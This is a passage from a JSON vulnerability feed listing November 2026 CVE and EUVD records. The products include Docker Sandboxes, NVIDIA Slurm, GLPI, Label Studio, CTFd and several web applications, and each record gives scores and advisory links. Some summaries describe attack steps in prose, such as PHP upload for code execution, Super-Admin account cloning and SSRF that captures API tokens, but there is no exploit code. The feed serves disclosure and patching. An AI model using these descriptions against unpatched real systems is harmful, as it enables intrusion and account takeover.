permissions.","cvss":8.4,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":8.4,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://docs.docker.com/ai/sandboxes/","https://docs.docker.com/ai/sandboxes/security/isolation/","https://github.com/docker/sbx-releases/releases/tag/v0.51.0"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:17:52","euvd":{"id":"EUVD-2026-116029","description":"Docker Sandboxes sbx cp does not safely confine host-side paths to a shared workspace. A malicious sandbox can create or replace a workspace symlink so that a later user-initiated copy reads a host file outside the workspace into the sandbox or writes sandbox-controlled data to a host path outside the workspace with the invoking user's permissions.","published_time":"2026-11-03T16:19:03","cvss":8.4,"cvss_version":"4.0","epss":0.0,"assigner":"Docker","references":["https://docs.docker.com/ai/sandboxes/","https://docs.docker.com/ai/sandboxes/security/isolation/","https://github.com/docker/sbx-releases/releases/tag/v0.51.0"],"products":["Docker Sandboxes"],"vendors":["Docker"]},"ghsa":null},{"cve_id":"CVE-2026-97350","summary":"Securepoint SSL VPN Client v2 on Windows contains vulnerabilities in the handling of OpenVPN configurations and proxy settings that allow non-privileged local users to influence operations performed with NT AUTHORITY\\SYSTEM privileges.\n\n\n\nTwo attack vectors have been identified:\n\n  *  \n\nImproper authorization of configuration checksum updates: The privileged service does not properly validate the authorization of connecting clients when updating the checksum of an OpenVPN configuration. This allows a non-privileged local user to modify an OpenVPN configuration and set a valid checksum without administrator privileges. The modified configuration is subsequently processed with NT AUTHORITY\\SYSTEM privileges.\n\n\n  *  \n\nArgument injection via proxy settings: The client does not properly validate or sanitize proxy settings before passing them as arguments to OpenVPN. A non-privileged local user can inject additional arguments through the proxy settings, influencing the execution of OpenVPN with NT AUTHORITY\\SYSTEM privileges. This attack vector does not require direct communication with the privileged service or modification of the protected OpenVPN configuration.","cvss":6.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":6.9,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://wiki.securepoint.de/Advisory/CVE-2026-97350"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:38","euvd":{"id":"EUVD-2026-115911","description":"Securepoint SSL VPN Client v2 on Windows contains vulnerabilities in the handling of OpenVPN configurations and proxy settings that allow non-privileged local users to influence operations performed with NT AUTHORITY\\SYSTEM privileges.\n\n\n\nTwo attack vectors have been identified:\n\n  *  \n\nImproper authorization of configuration checksum updates: The privileged service does not properly validate the authorization of connecting clients when updating the checksum of an OpenVPN configuration. This allows a non-privileged local user to modify an OpenVPN configuration and set a valid checksum without administrator privileges. The modified configuration is subsequently processed with NT AUTHORITY\\SYSTEM privileges.\n\n\n  *  \n\nArgument injection via proxy settings: The client does not properly validate or sanitize proxy settings before passing them as arguments to OpenVPN. A non-privileged local user can inject additional arguments through the proxy settings, influencing the execution of OpenVPN with NT AUTHORITY\\SYSTEM privileges. This attack vector does not require direct communication with the privileged service or modification of the protected OpenVPN configuration.","published_time":"2026-11-03T15:21:44","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"securepoint","references":["https://wiki.securepoint.de/Advisory/CVE-2026-97350"],"products":["Securepoint SSL VPN Client v2"],"vendors":["Securepoint"]},"ghsa":null},{"cve_id":"CVE-2026-65165","summary":"NVIDIA Slurm contains a vulnerability where a user could deliberately alter the provided nodelist alongside the --distribution=arbitrary option to gain access to compute nodes outside of the current job allocation.","cvss":5.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2026-65165","https://www.cve.org/CVERecord?id=CVE-2026-65165"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:36","euvd":{"id":"EUVD-2026-116015","description":"NVIDIA Slurm contains a vulnerability where a user could deliberately alter the provided nodelist alongside the --distribution=arbitrary option to gain access to compute nodes outside of the current job allocation.","published_time":"2026-11-03T15:37:29","cvss":5.3,"cvss_version":"3.1","epss":0.0,"assigner":"nvidia","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-65165","https://www.cve.org/CVERecord?id=CVE-2026-65165"],"products":["Slurm","Slurm","Slurm"],"vendors":["NVIDIA"]},"ghsa":null},{"cve_id":"CVE-2026-65168","summary":"NVIDIA Slurm contains an attacker-controlled heap-based buffer overflow in the slurmstepd socket handling code.","cvss":7.0,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.0,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2026-65168","https://www.cve.org/CVERecord?id=CVE-2026-65168"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:36","euvd":{"id":"EUVD-2026-116016","description":"NVIDIA Slurm contains an attacker-controlled heap-based buffer overflow in the slurmstepd socket handling code.","published_time":"2026-11-03T15:37:59","cvss":7.0,"cvss_version":"3.1","epss":0.0,"assigner":"nvidia","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-65168","https://www.cve.org/CVERecord?id=CVE-2026-65168"],"products":["Slurm","Slurm","Slurm"],"vendors":["NVIDIA"]},"ghsa":null},{"cve_id":"CVE-2026-73328","summary":"Volmarg Personal Management System through 2.1.0 contains an unrestricted file upload vulnerability that allows authenticated users to upload PHP files via the /upload/send/ endpoint. Attackers can submit base64 fileContent with a .php fileName into the web root and request it to execute code as the web server user.","cvss":8.6,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.2,"cvss_v4":8.6,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/Volmarg/personal-management-system","https://github.com/Volmarg/personal-management-system/blob/v2.1.0/src/Action/File/UploadedFileAction.php#L56-L83","https://github.com/Volmarg/personal-management-system/blob/v2.1.0/src/Services/Files/Upload/FileUploadConfigurator.php#L117-L129","https://github.com/Volmarg/personal-management-system/blob/v2.1.0/src/Services/Files/Upload/FileUploadService.php#L57-L67","https://github.com/Volmarg/personal-management-system/blob/v2.1.0/src/Services/Files/Upload/FileUploadValidator.php#L57-L81","https://github.com/Volmarg/personal-management-system/issues/167","https://www.vulncheck.com/advisories/volmarg-personal-management-system-through-2.1.0-unrestricted-file-upload-rce-via-upload-send"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:36","euvd":{"id":"EUVD-2026-115908","description":"Volmarg Personal Management System through 2.1.0 contains an unrestricted file upload vulnerability that allows authenticated users to upload PHP files via the /upload/send/ endpoint. Attackers can submit base64 fileContent with a .php fileName into the web root and request it to execute code as the web server user.","published_time":"2026-11-03T15:17:18","cvss":8.6,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/Volmarg/personal-management-system/issues/167","https://github.com/Volmarg/personal-management-system","https://github.com/Volmarg/personal-management-system/blob/v2.1.0/src/Services/Files/Upload/FileUploadConfigurator.php#L117-L129","https://github.com/Volmarg/personal-management-system/blob/v2.1.0/src/Services/Files/Upload/FileUploadValidator.php#L57-L81","https://github.com/Volmarg/personal-management-system/blob/v2.1.0/src/Action/File/UploadedFileAction.php#L56-L83","https://github.com/Volmarg/personal-management-system/blob/v2.1.0/src/Services/Files/Upload/FileUploadService.php#L57-L67","https://www.vulncheck.com/advisories/volmarg-personal-management-system-through-2.1.0-unrestricted-file-upload-rce-via-upload-send"],"products":["personal-management-system"],"vendors":["Volmarg"]},"ghsa":null},{"cve_id":"CVE-2026-65107","summary":"NVIDIA Slurm contains a vulnerability where a user could alter the supplemental group list as part of an sbcast file transmission to write a file to a path they would not normally have access to.","cvss":6.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2026-65107","https://www.cve.org/CVERecord?id=CVE-2026-65107"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:35","euvd":{"id":"EUVD-2026-115909","description":"NVIDIA Slurm contains a vulnerability where a user could alter the supplemental group list as part of an sbcast file transmission to write a file to a path they would not normally have access to.","published_time":"2026-11-03T15:20:00","cvss":6.3,"cvss_version":"3.1","epss":0.0,"assigner":"nvidia","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-65107","https://www.cve.org/CVERecord?id=CVE-2026-65107"],"products":["Slurm","Slurm","Slurm"],"vendors":["NVIDIA"]},"ghsa":null},{"cve_id":"CVE-2026-65108","summary":"NVIDIA Slurm contains an attacker-controlled heap-based buffer overflow in the slurmstepd process while the slurmstepd is running with root permissions.","cvss":6.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2026-65108","https://www.cve.org/CVERecord?id=CVE-2026-65108"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:35","euvd":{"id":"EUVD-2026-115910","description":"NVIDIA Slurm contains an attacker-controlled heap-based buffer overflow in the slurmstepd process while the slurmstepd is running with root permissions.","published_time":"2026-11-03T15:20:29","cvss":6.3,"cvss_version":"3.1","epss":0.0,"assigner":"nvidia","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-65108","https://www.cve.org/CVERecord?id=CVE-2026-65108"],"products":["Slurm","Slurm","Slurm"],"vendors":["NVIDIA"]},"ghsa":null},{"cve_id":"CVE-2026-65109","summary":"NVIDIA Slurm is subject to a symlink resolution issue in the container cleanup code that could allow an attacker to remove files outside of their control on the compute node.","cvss":4.7,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.7,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2026-65109","https://www.cve.org/CVERecord?id=CVE-2026-65109"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:35","euvd":{"id":"EUVD-2026-116010","description":"NVIDIA Slurm is subject to a symlink resolution issue in the container cleanup code that could allow an attacker to remove files outside of their control on the compute node.","published_time":"2026-11-03T15:33:52","cvss":4.7,"cvss_version":"3.1","epss":0.0,"assigner":"nvidia","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-65109","https://www.cve.org/CVERecord?id=CVE-2026-65109"],"products":["Slurm","Slurm","Slurm"],"vendors":["NVIDIA"]},"ghsa":null},{"cve_id":"CVE-2026-65138","summary":"NVIDIA Slurm contains an attacker-controlled arbitrary-memory read in the slurmstepd socket API that could be used to ex-filtrate authentication keys.","cvss":6.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2026-65138","https://www.cve.org/CVERecord?id=CVE-2026-65138"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:35","euvd":{"id":"EUVD-2026-116011","description":"NVIDIA Slurm contains an attacker-controlled arbitrary-memory read in the slurmstepd socket API that could be used to ex-filtrate authentication keys.","published_time":"2026-11-03T15:34:12","cvss":6.3,"cvss_version":"3.1","epss":0.0,"assigner":"nvidia","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-65138","https://www.cve.org/CVERecord?id=CVE-2026-65138"],"products":["Slurm","Slurm","Slurm"],"vendors":["NVIDIA"]},"ghsa":null},{"cve_id":"CVE-2026-65139","summary":"NVIDIA Slurm contains an attacker-controlled SQL injection attack in certain SlurmDBD RPCs that can lead to arbitrary code execution.","cvss":6.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2026-65139","https://www.cve.org/CVERecord?id=CVE-2026-65139"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:35","euvd":{"id":"EUVD-2026-116013","description":"NVIDIA Slurm contains an attacker-controlled SQL injection attack in certain SlurmDBD RPCs that can lead to arbitrary code execution.","published_time":"2026-11-03T15:35:41","cvss":6.3,"cvss_version":"3.1","epss":0.0,"assigner":"nvidia","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-65139","https://www.cve.org/CVERecord?id=CVE-2026-65139"],"products":["Slurm","Slurm","Slurm"],"vendors":["NVIDIA"]},"ghsa":null},{"cve_id":"CVE-2026-65140","summary":"NVIDIA Slurm contains some inconsistent authorization checks against the Operator permission level in the SlurmDBD that can be chained together in a way that would permit an Operator to make themselves an Administrator.","cvss":5.7,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.7,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2026-65140","https://www.cve.org/CVERecord?id=CVE-2026-65140"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:35","euvd":{"id":"EUVD-2026-116014","description":"NVIDIA Slurm contains some inconsistent authorization checks against the Operator permission level in the SlurmDBD that can be chained together in a way that would permit an Operator to make themselves an Administrator.","published_time":"2026-11-03T15:36:40","cvss":5.7,"cvss_version":"3.1","epss":0.0,"assigner":"nvidia","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-65140","https://www.cve.org/CVERecord?id=CVE-2026-65140"],"products":["Slurm","Slurm","Slurm"],"vendors":["NVIDIA"]},"ghsa":null},{"cve_id":"CVE-2026-121562","summary":"CTFd 3.1.0 before 3.8.7 contains an information disclosure vulnerability in the /api/v1/teams list endpoint that exposes non-public team custom field values. Unauthenticated attackers can paginate GET requests to collect hidden registration data such as emails, phone numbers, and student IDs when team mode and public visibility are enabled.","cvss":6.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":6.9,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://blog.ctfd.io/ctfd-3-8-7/","https://github.com/CTFd/CTFd","https://github.com/CTFd/CTFd/blob/3.8.6/CTFd/api/v1/teams.py#L128-L131","https://github.com/CTFd/CTFd/blob/3.8.6/CTFd/schemas/teams.py#L336-L363","https://github.com/CTFd/CTFd/commit/122c224030224ca6a04d2928280055a84bbd4850","https://github.com/CTFd/CTFd/releases/tag/3.8.7","https://www.vulncheck.com/advisories/ctfd-3.1.0-before-3.8.7-information-disclosure-via-api-v1-teams-endpoint"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:29","euvd":{"id":"EUVD-2026-115907","description":"CTFd 3.1.0 before 3.8.7 contains an information disclosure vulnerability in the /api/v1/teams list endpoint that exposes non-public team custom field values. Unauthenticated attackers can paginate GET requests to collect hidden registration data such as emails, phone numbers, and student IDs when team mode and public visibility are enabled.","published_time":"2026-11-03T15:17:17","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/CTFd/CTFd/commit/122c224030224ca6a04d2928280055a84bbd4850","https://github.com/CTFd/CTFd","https://github.com/CTFd/CTFd/blob/3.8.6/CTFd/api/v1/teams.py#L128-L131","https://github.com/CTFd/CTFd/blob/3.8.6/CTFd/schemas/teams.py#L336-L363","https://blog.ctfd.io/ctfd-3-8-7/","https://github.com/CTFd/CTFd/releases/tag/3.8.7","https://www.vulncheck.com/advisories/ctfd-3.1.0-before-3.8.7-information-disclosure-via-api-v1-teams-endpoint"],"products":["CTFd"],"vendors":["CTFd"]},"ghsa":null},{"cve_id":"CVE-2026-121564","summary":"Incomplete Comparison with Missing Factors (CWE-1023) in merge_chats() (whatstk/utils/chat_merge.py), reached from BaseChat.merge(), in whatstk from 0.3.0 before 0.9.0 allows a party that supplies the chat exports to cause messages to be absent from the merged output with no indication that anything was removed, because the merge keeps whole the chat whose first message is oldest and appends from the other only the messages that are strictly newer than the last message of the first. Every message of the second chat that falls inside the date range already covered by the first is therefore discarded. The two chats are compared on their date ranges and not on the identity of the individual messages, so a message held by only one of the two exports is dropped whenever its date falls inside the range of the other, and both branches of _merge_two_chats() behave this way. The merged result is returned without a warning and without a count of what was removed. This results in a merged chat that omits messages the inputs contain, in a library whose documented uses include forensic review and the generation of training data.","cvss":1.8,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":1.8,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/lucasrodes/whatstk/commit/01d66d8","https://github.com/lucasrodes/whatstk/pull/185","https://github.com/lucasrodes/whatstk/releases/tag/v0.9.0","https://secur0.com/en/cna/cve-list/cve-2026-121564-whatstk-merge-message-loss"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:29","euvd":{"id":"EUVD-2026-115913","description":"Incomplete Comparison with Missing Factors (CWE-1023) in merge_chats() (whatstk/utils/chat_merge.py), reached from BaseChat.merge(), in whatstk from 0.3.0 before 0.9.0 allows a party that supplies the chat exports to cause messages to be absent from the merged output with no indication that anything was removed, because the merge keeps whole the chat whose first message is oldest and appends from the other only the messages that are strictly newer than the last message of the first. Every message of the second chat that falls inside the date range already covered by the first is therefore discarded. The two chats are compared on their date ranges and not on the identity of the individual messages, so a message held by only one of the two exports is dropped whenever its date falls inside the range of the other, and both branches of _merge_two_chats() behave this way. The merged result is returned without a warning and without a count of what was removed. This results in a merged chat that omits messages the inputs contain, in a library whose documented uses include forensic review and the generation of training data.","published_time":"2026-11-03T15:24:43","cvss":1.8,"cvss_version":"4.0","epss":0.0,"assigner":"Secur0","references":["https://github.com/lucasrodes/whatstk/pull/185","https://github.com/lucasrodes/whatstk/commit/01d66d8","https://github.com/lucasrodes/whatstk/releases/tag/v0.9.0","https://secur0.com/en/cna/cve-list/cve-2026-121564-whatstk-merge-message-loss"],"products":["whatstk"],"vendors":["lucasrodes"]},"ghsa":null},{"cve_id":"CVE-2026-121578","summary":"Tactical RMM contains a stored XSS vulnerability caused by improperly validated input or encode output for various fields, enabling HTML/JavaScript to be stored in the tools database, which is then executed in the browsers of users when they view content containing the infected objects, leading to account takeover or code execution.","cvss":6.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.1,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/Kuri119/Stored-XSS-In-Tactical-RMM-1.5.2/tree/main","https://github.com/amidaware/tacticalrmm-web/commit/ba5363ea99cf776511e5c828b6d744e4d0bddd08","https://github.com/Kuri119/Stored-XSS-In-Tactical-RMM-1.5.2/tree/main"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:29","euvd":{"id":"EUVD-2026-116009","description":"Tactical RMM contains a stored XSS vulnerability caused by improperly validated input or encode output for various fields, enabling HTML/JavaScript to be stored in the tools database, which is then executed in the browsers of users when they view content containing the infected objects, leading to account takeover or code execution.","published_time":"2026-11-03T15:33:35","cvss":6.1,"cvss_version":"3.1","epss":0.0,"assigner":"certcc","references":["https://github.com/amidaware/tacticalrmm-web/commit/ba5363ea99cf776511e5c828b6d744e4d0bddd08","https://github.com/Kuri119/Stored-XSS-In-Tactical-RMM-1.5.2/tree/main"],"products":["Tactical RMM"],"vendors":["Amidaware"]},"ghsa":null},{"cve_id":"CVE-2026-121557","summary":"WPPConnect Server through 2.10.74 contains a missing authentication vulnerability that allows unauthenticated attackers to send WhatsApp messages by calling the Chatwoot webhook route without verifyToken middleware. Attackers who know or guess a connected session name can POST outgoing message bodies to send arbitrary texts or files from that account to any number.","cvss":8.2,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.9,"cvss_v4":8.2,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/wppconnect-team/wppconnect-server","https://github.com/wppconnect-team/wppconnect-server/blob/v2.10.74/src/controller/deviceController.ts#L2230-L2324","https://github.com/wppconnect-team/wppconnect-server/blob/v2.10.74/src/routes/index.ts#L963","https://github.com/wppconnect-team/wppconnect-server/issues/2701","https://github.com/wppconnect-team/wppconnect-server/pull/2702","https://www.vulncheck.com/advisories/wppconnect-server-through-2.10.74-missing-authentication-via-api-session-chatwoot"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:28","euvd":{"id":"EUVD-2026-115902","description":"WPPConnect Server through 2.10.74 contains a missing authentication vulnerability that allows unauthenticated attackers to send WhatsApp messages by calling the Chatwoot webhook route without verifyToken middleware. Attackers who know or guess a connected session name can POST outgoing message bodies to send arbitrary texts or files from that account to any number.","published_time":"2026-11-03T15:17:14","cvss":8.2,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/wppconnect-team/wppconnect-server/issues/2701","https://github.com/wppconnect-team/wppconnect-server","https://github.com/wppconnect-team/wppconnect-server/pull/2702","https://github.com/wppconnect-team/wppconnect-server/blob/v2.10.74/src/routes/index.ts#L963","https://github.com/wppconnect-team/wppconnect-server/blob/v2.10.74/src/controller/deviceController.ts#L2230-L2324","https://www.vulncheck.com/advisories/wppconnect-server-through-2.10.74-missing-authentication-via-api-session-chatwoot"],"products":["wppconnect-server"],"vendors":["wppconnect"]},"ghsa":null},{"cve_id":"CVE-2026-121558","summary":"AuditPilot before commit 4669c93 contains an authorization bypass vulnerability in _metadata_allowed in rag/agentic_rag.py that allows authenticated users to read other projects' knowledge by supplying project_id. Attackers with read:knowledge scoped to one project can set context.project_id via GET /api/knowledge/query or POST /api/research/answer to retrieve same-tenant project knowledge chunks.","cvss":2.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":2.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/Ricky-7-Yan/intelligent-audit-system","https://github.com/Ricky-7-Yan/intelligent-audit-system/blob/e4f1bf1c92cb14dd18bf0e11f4688fd1e346c9b9/rag/agentic_rag.py#L342-L365","https://github.com/Ricky-7-Yan/intelligent-audit-system/blob/e4f1bf1c92cb14dd18bf0e11f4688fd1e346c9b9/web/main.py#L1197-L1206","https://github.com/Ricky-7-Yan/intelligent-audit-system/commit/4669c93f3a7403a0e242bef14d771beef0b4356b","https://github.com/Ricky-7-Yan/intelligent-audit-system/issues/7","https://www.vulncheck.com/advisories/auditpilot-before-commit-4669c93-rag-project-scope-authorization-bypass-via-project-id"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:28","euvd":{"id":"EUVD-2026-115903","description":"AuditPilot before commit 4669c93 contains an authorization bypass vulnerability in _metadata_allowed in rag/agentic_rag.py that allows authenticated users to read other projects' knowledge by supplying project_id. Attackers with read:knowledge scoped to one project can set context.project_id via GET /api/knowledge/query or POST /api/research/answer to retrieve same-tenant project knowledge chunks.","published_time":"2026-11-03T15:17:14","cvss":2.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/Ricky-7-Yan/intelligent-audit-system/issues/7","https://github.com/Ricky-7-Yan/intelligent-audit-system","https://github.com/Ricky-7-Yan/intelligent-audit-system/commit/4669c93f3a7403a0e242bef14d771beef0b4356b","https://github.com/Ricky-7-Yan/intelligent-audit-system/blob/e4f1bf1c92cb14dd18bf0e11f4688fd1e346c9b9/rag/agentic_rag.py#L342-L365","https://github.com/Ricky-7-Yan/intelligent-audit-system/blob/e4f1bf1c92cb14dd18bf0e11f4688fd1e346c9b9/web/main.py#L1197-L1206","https://www.vulncheck.com/advisories/auditpilot-before-commit-4669c93-rag-project-scope-authorization-bypass-via-project-id"],"products":["intelligent-audit-system"],"vendors":["Ricky-7-Yan"]},"ghsa":null},{"cve_id":"CVE-2026-121559","summary":"GLPI 10.0.0 before 10.0.28 and 11.0.0 before 11.0.10 contains a privilege escalation vulnerability that allows authenticated users to obtain elevated profiles by cloning accounts. A user with the Technician profile can clone a Super-Admin account with a new login and password, since User::getCloneRelations() copies every Profile_User and Group_User assignment without permission checks, yielding an attacker-controlled Super-Admin account.","cvss":8.6,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.2,"cvss_v4":8.6,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/glpi-project/glpi/commit/10a827c8c1868a0a65ab977d30878ff16547d9a7","https://github.com/glpi-project/glpi/commit/d30faa501e8b549ae507615b05e7d99dacfe5d98","https://github.com/glpi-project/glpi/security/advisories/GHSA-c46f-4v9j-5gpc","https://www.vulncheck.com/advisories/glpi-10.0.0-before-10.0.28-and-11.0.0-before-11.0.10-privilege-escalation-via-user-cloning"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:28","euvd":{"id":"EUVD-2026-115904","description":"GLPI 10.0.0 before 10.0.28 and 11.0.0 before 11.0.10 contains a privilege escalation vulnerability that allows authenticated users to obtain elevated profiles by cloning accounts. A user with the Technician profile can clone a Super-Admin account with a new login and password, since User::getCloneRelations() copies every Profile_User and Group_User assignment without permission checks, yielding an attacker-controlled Super-Admin account.","published_time":"2026-11-03T15:17:15","cvss":8.6,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/glpi-project/glpi/security/advisories/GHSA-c46f-4v9j-5gpc","https://github.com/glpi-project/glpi/commit/10a827c8c1868a0a65ab977d30878ff16547d9a7","https://github.com/glpi-project/glpi/commit/d30faa501e8b549ae507615b05e7d99dacfe5d98","https://www.vulncheck.com/advisories/glpi-10.0.0-before-10.0.28-and-11.0.0-before-11.0.10-privilege-escalation-via-user-cloning"],"products":["glpi","glpi"],"vendors":["glpi-project"]},"ghsa":null},{"cve_id":"CVE-2026-121560","summary":"LogChimp 0.9.0-alpha.1 before 0.9.3 contains an authorization bypass vulnerability that allows authenticated post authors to modify any other post by supplying mismatched postId and id body parameters. Attackers can set postId to their own post and id to an enumerated victim post UUID to overwrite its title, slug, content, boardId and roadmap_id.","cvss":7.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.1,"cvss_v4":7.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/logchimp/logchimp","https://github.com/logchimp/logchimp/blob/v0.9.2/packages/server/src/controllers/post/updatePost.ts#L67","https://github.com/logchimp/logchimp/blob/v0.9.2/packages/server/src/middlewares/postExists.ts#L72-L77","https://github.com/logchimp/logchimp/commit/a78b69af342908472ad400285187e43729295a7c","https://github.com/logchimp/logchimp/releases/tag/v0.9.3","https://www.vulncheck.com/advisories/logchimp-before-0.9.3-authorization-bypass-via-patch-api-v1-posts"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:28","euvd":{"id":"EUVD-2026-115905","description":"LogChimp 0.9.0-alpha.1 before 0.9.3 contains an authorization bypass vulnerability that allows authenticated post authors to modify any other post by supplying mismatched postId and id body parameters. Attackers can set postId to their own post and id to an enumerated victim post UUID to overwrite its title, slug, content, boardId and roadmap_id.","published_time":"2026-11-03T15:17:16","cvss":7.1,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/logchimp/logchimp/commit/a78b69af342908472ad400285187e43729295a7c","https://github.com/logchimp/logchimp","https://github.com/logchimp/logchimp/blob/v0.9.2/packages/server/src/controllers/post/updatePost.ts#L67","https://github.com/logchimp/logchimp/blob/v0.9.2/packages/server/src/middlewares/postExists.ts#L72-L77","https://github.com/logchimp/logchimp/releases/tag/v0.9.3","https://www.vulncheck.com/advisories/logchimp-before-0.9.3-authorization-bypass-via-patch-api-v1-posts"],"products":["logchimp"],"vendors":["logchimp"]},"ghsa":null},{"cve_id":"CVE-2026-121561","summary":"Label Studio before 1.23.2 (label-studio-sdk before 2.1.2) contains a server-side request forgery vulnerability that allows authenticated users to read internal URLs through image-bearing export formats. Attackers can import tasks with data.image pointing at internal services, export as YOLO or COCO with images to read responses, and spoof Host to capture the organization owner's API token.","cvss":6.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.7,"cvss_v4":6.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/HumanSignal/label-studio-sdk/blob/2.1.1/src/label_studio_sdk/_extensions/label_studio_tools/core/utils/io.py#L299-L338","https://github.com/HumanSignal/label-studio-sdk/blob/2.1.1/src/label_studio_sdk/_extensions/label_studio_tools/core/utils/io.py#L62-L71","https://github.com/HumanSignal/label-studio-sdk/commit/c20c899aaaa302740dacd46a47e5774bb677561f","https://github.com/HumanSignal/label-studio/blob/1.23.1/label_studio/data_export/models.py#L160-L167","https://github.com/HumanSignal/label-studio/commit/df96d79183156e556d91825d15fa7721f1145e1a","https://github.com/HumanSignal/label-studio/security/advisories/GHSA-6437-7wc6-gmx5","https://www.vulncheck.com/advisories/label-studio-before-1.23.2-ssrf-and-token-disclosure-via-image-export-downloads"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:28","euvd":{"id":"EUVD-2026-115906","description":"Label Studio before 1.23.2 (label-studio-sdk before 2.1.2) contains a server-side request forgery vulnerability that allows authenticated users to read internal URLs through image-bearing export formats. Attackers can import tasks with data.image pointing at internal services, export as YOLO or COCO with images to read responses, and spoof Host to capture the organization owner's API 